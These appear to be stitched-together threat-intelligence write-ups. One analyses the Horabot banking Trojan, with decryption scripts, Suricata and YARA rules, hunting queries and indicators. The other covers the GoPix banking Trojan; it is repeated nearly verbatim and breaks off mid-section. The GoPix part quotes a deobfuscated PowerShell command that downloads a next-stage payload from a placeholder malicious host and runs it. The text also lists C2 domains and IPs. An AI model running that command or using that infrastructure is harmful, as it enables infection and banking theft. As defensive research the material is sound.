• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

